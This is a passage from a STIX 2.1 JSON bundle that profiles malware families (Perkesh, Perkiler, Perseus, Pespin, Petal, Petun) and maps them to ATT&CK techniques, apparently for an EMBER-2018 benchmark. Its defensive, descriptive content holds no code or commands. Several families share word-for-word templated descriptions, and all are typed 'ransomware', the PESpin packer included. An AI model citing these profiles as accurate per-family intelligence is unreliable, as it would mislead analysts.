      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8cf75c6c-a3d8-5900-a83a-3619353eb183",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perion exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca9f3d97-04d8-585f-9a45-812ff96a8bb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perkesh",
      "description": "Trojan:Win32/Perkesh is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Perkesh</b><br>To an end-user, a Perkesh infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Perkesh is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Perkesh is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Perkesh frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Perkesh reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perkesh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perkesh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8463fb07-de47-5ab0-a8f8-4bd7772988d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca9f3d97-04d8-585f-9a45-812ff96a8bb0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkesh exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62555cf0-c440-5ab2-9ed2-993d3e1d515a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca9f3d97-04d8-585f-9a45-812ff96a8bb0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkesh exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8ec6dd18-d365-5d12-a290-8fa8666103ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca9f3d97-04d8-585f-9a45-812ff96a8bb0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkesh exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d520e73d-9ad6-5e7c-96d7-e931c244bbf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca9f3d97-04d8-585f-9a45-812ff96a8bb0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkesh exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d54b91c-c9ac-55b7-bcf1-2cd6278d13bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca9f3d97-04d8-585f-9a45-812ff96a8bb0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkesh exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf653f32-0947-5c16-a00e-04495dc0423a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perkiler",
      "description": "Trojan:Win32/Perkiler is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Perkiler</b><br>To an end-user, a Perkiler infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Perkiler is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Perkiler is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Perkiler frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Perkiler reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perkiler",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perkiler"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b9492d4-dd23-5bfe-93d8-233f0a8f12ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf653f32-0947-5c16-a00e-04495dc0423a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkiler exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7027cda5-49c5-538c-ba9a-bbff6980e54e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf653f32-0947-5c16-a00e-04495dc0423a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkiler exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17e6ee9a-febe-547a-8f12-cd54b1dcf0e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf653f32-0947-5c16-a00e-04495dc0423a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkiler exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ec468d6-fbb9-564f-9db3-fbe0380d9fd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf653f32-0947-5c16-a00e-04495dc0423a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkiler exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4035c1be-30bf-502a-b8e8-57325feafff7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf653f32-0947-5c16-a00e-04495dc0423a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perkiler exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71fc6c32-5862-5102-8c95-bb69b917ea7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Perseus",
      "description": "Trojan:Win32/Perseus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Perseus</b><br>To an end-user, a Perseus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Perseus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Perseus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Perseus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Perseus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Perseus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/perseus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46686d5b-5752-554d-a920-a717e785756b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71fc6c32-5862-5102-8c95-bb69b917ea7e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perseus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2c52f8c-6f69-5ba7-a843-d015cc5e1ef9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71fc6c32-5862-5102-8c95-bb69b917ea7e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perseus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f08339bc-8772-5551-b565-40081bd07092",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71fc6c32-5862-5102-8c95-bb69b917ea7e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perseus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d46617f6-1691-594f-8565-128b9817b1a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71fc6c32-5862-5102-8c95-bb69b917ea7e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perseus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5891799c-a7ce-5255-a9f2-ae1fd3c469ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71fc6c32-5862-5102-8c95-bb69b917ea7e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Perseus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b06e5364-f774-5495-a03d-b5f538c23d2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pespin",
      "description": "Trojan:Win32/Pespin (or generic **Pespin Packer** heuristics) refers to detections associated with the 'PESpin' executable packer and protector. Originally designed as a legitimate tool to compress executables and protect software from reverse engineering (anti-cracking), PESpin is heavily abused by malware authors to obfuscate their payloads, evade static antivirus signatures, and complicate malware analysis.<br><br><b>Understanding the PESpin Threat</b><br>To an end-user, the presence of PESpin is invisible; they only experience the effects of the hidden malware payload. For a malware analyst or SOC tier, a PESpin detection is a red flag indicating that an executable is actively trying to hide its true nature. Because PESpin alters the internal structure of the Portable Executable (PE) file, traditional signature-based antivirus often fails to detect the underlying trojan, ransomware, or backdoor until it unpacks itself in memory.<br><br><b>Execution and Obfuscation Mechanics</b><br>When an attacker builds their malware, they run the compiled `.exe` through the PESpin tool. PESpin compresses the original code (`T1027.002`) and wraps it in a complex 'stub' (`T1027`). It also employs anti-debugging and anti-dumping techniques (`T1620`) to thwart dynamic analysis in sandboxes. When the victim executes the packed file (`T1204.002`), the PESpin stub runs first. It allocates memory, decrypts/decompresses the original malicious payload directly into RAM (`T1055`), and then passes execution control to the now-unpacked malware. This entirely bypasses file-based scanning, as the malicious code never touches the hard drive in its unencrypted state.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload (which could be anything from adware to ransomware). The primary IoC is the detection of the PESpin packing signature on a newly downloaded or unknown executable. Security analysts analyzing the file statically will observe high entropy (indicating compression/encryption), very few readable strings, and abnormal PE section names (often indicative of the packer). Dynamic analysis (EDR) is required to detect the unpacking process and the subsequent malicious behavior in memory. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pespin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pespin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--995d96a1-468c-5f22-9f4d-b6970589ff16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b06e5364-f774-5495-a03d-b5f538c23d2e",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pespin exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c141092-e7d4-56b5-8024-e2392cdcd415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b06e5364-f774-5495-a03d-b5f538c23d2e",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pespin exhibits technique T1620 (Reflective Code Loading (Unpacking the payload into memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bad23a8f-945b-5dee-88a3-7a3adb2588fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b06e5364-f774-5495-a03d-b5f538c23d2e",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pespin exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2aa11c12-c3fc-543f-827e-4b56ec61cc3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b06e5364-f774-5495-a03d-b5f538c23d2e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pespin exhibits technique T1055 (Process Injection (Memory execution of the hidden payload))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--afdc6b14-420f-5e17-b895-d18a4949ca34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Petal",
      "description": "<h3>Executive Summary</h3>\nPetal is a malicious Trojan engineered to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, more destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPetal is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized Office documents) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Petal operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Petal ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload upon user login.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Petal receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials) or ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Petal infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Petal executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Petal often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Petal",
        "Downloader.Petal",
        "Win32/Petal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Petal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/petal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b2cbee1-ada3-5497-a9ce-0e1d50dcf00a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--afdc6b14-420f-5e17-b895-d18a4949ca34",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petal exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7e15085-b1fe-503a-929a-e88c09e651ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--afdc6b14-420f-5e17-b895-d18a4949ca34",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c9b7054-203d-5d17-9851-4d1e354d07a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--afdc6b14-420f-5e17-b895-d18a4949ca34",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petal exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a6d9f00-4f40-55da-9daa-27c3a07e9ff4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--afdc6b14-420f-5e17-b895-d18a4949ca34",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petal exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8df21011-acdc-557c-9967-da727c9c0253",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Petun",
      "description": "Trojan:Win32/Petun is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Petun</b><br>To an end-user, a Petun infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Petun is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Petun is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Petun frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Petun reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Petun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/petun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d6c6b45-3e0a-5576-9728-e4aa4b3c7771",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df21011-acdc-557c-9967-da727c9c0253",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94f02c27-e9a0-5532-8fec-599de37047d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df21011-acdc-557c-9967-da727c9c0253",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petun exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f604a08b-4b23-51ae-baed-47208b73ac90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df21011-acdc-557c-9967-da727c9c0253",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petun exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--272f4d0f-6b15-532b-b1c3-1275a4b9b608",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df21011-acdc-557c-9967-da727c9c0253",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petun exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83de7dfa-87d2-587d-8b97-8868d02b2e01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8df21011-acdc-557c-9967-da727c9c0253",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Petun exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--01a751f6-d4b6-512d-8c63-759f165ae77c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Petya",
